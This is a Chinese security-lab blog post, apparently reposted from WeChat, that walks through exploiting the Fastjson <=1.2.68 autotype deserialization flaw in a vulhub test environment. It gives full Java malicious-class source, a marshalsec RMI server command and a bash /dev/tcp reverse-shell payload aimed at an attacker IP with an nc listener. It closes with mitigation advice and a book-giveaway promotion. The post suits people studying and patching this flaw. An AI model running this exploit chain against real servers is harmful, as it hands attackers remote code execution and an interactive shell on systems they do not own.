本文由 简悦 SimpRead 转码, 原文地址 mp.weixin.qq.com
利用前提: fastjson <=1.2.68, 打开了 autotype
使用 vul-hub 搭建漏洞环境
访问搭好的环境看到 json 数据就表示搭建成功
假设攻击机为 A 被攻击机为 B
在 A 上搭好 web 服务和 rmi 服务, 并且能够让 B 访问主机 A
恶意类如下, 在 / tmp 下创建 success 文件夹
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch","/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
编译好 class 文件后搭建 rmi 服务
搭建 rmi 服务需要用到 marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jarmarshalsec.jndi.RMIRefServer"http://192.168.204.1/fastjson/#TouchFile" 9999
注: 恶意类的 class 文件前要加 #, 而且不需要加文件后缀
注意红色框重点 RMI 服务后面跟 A 主机开放的域名 (ip): 端口 / 恶意类名称
发送恶意请求后, rmi 监听的口会收到 B 主机的连接并读取恶意类, 如果没有监听到就代表失败了
响应包如下
使用 docker ps
和 docker exec -it (镜像 id) /bin/bash 进入 docker 搭建好的虚拟机内
发现 / tmp/success 创建成功 代表恶意类中的代码被成功执行
构建恶意类
代码如下:
import java.lang.Runtime;
import java.lang.Process;
public class ReConn{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i>& /dev/tcp/192.168.204.1/7888 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
使用 nc 监听 7888 端口
开启 RMI 服务
恶意请求
结果
1、升级 Fastjson 到最新版 (>=1.2.68 新增了 safemode, 彻底关闭 autotype);
2、WAF 拦截过滤请求包中的
@type、%u0040%u0074%u0079%u0070%u0065, \u0040type,
\x04type 等多种编码的 autotype 变形;
3、最少升级到 1.2.48 以上版本且关闭 autotype 选项;升级对应 JDK 版本到 8u191/7u201/6u211/11.0.1 以上。
1.《从实践中学习 TCP/IP 协议》
从理论、应用和实践三个维度讲 TCP/IP;通过 96 个实例带你从实践中学习;结合 Wireshark 和 netwox 工具讲解;详解 ARP、DHCP、DNS、SNMP、Telnet 和 WHOIS 等协议。
活动详情
为了感谢一直关注我们 Khan 安全攻防实验室的粉丝们,我们将送出由机械工业出版社赞助的信息安全图书(任选其中一本)
参与规则:
-
关注 Khan 安全攻防实验室公众号
-
转发本文至朋友圈并保存至开奖时间不可设置分组(设置分组无效)点击赞、在看并加上一句祝福语说不定会增加中奖率哦。
-
抽奖结束凭朋友圈截图联系我
上次抽奖的礼品,粉丝非常满意,感谢大家长久以来的支持!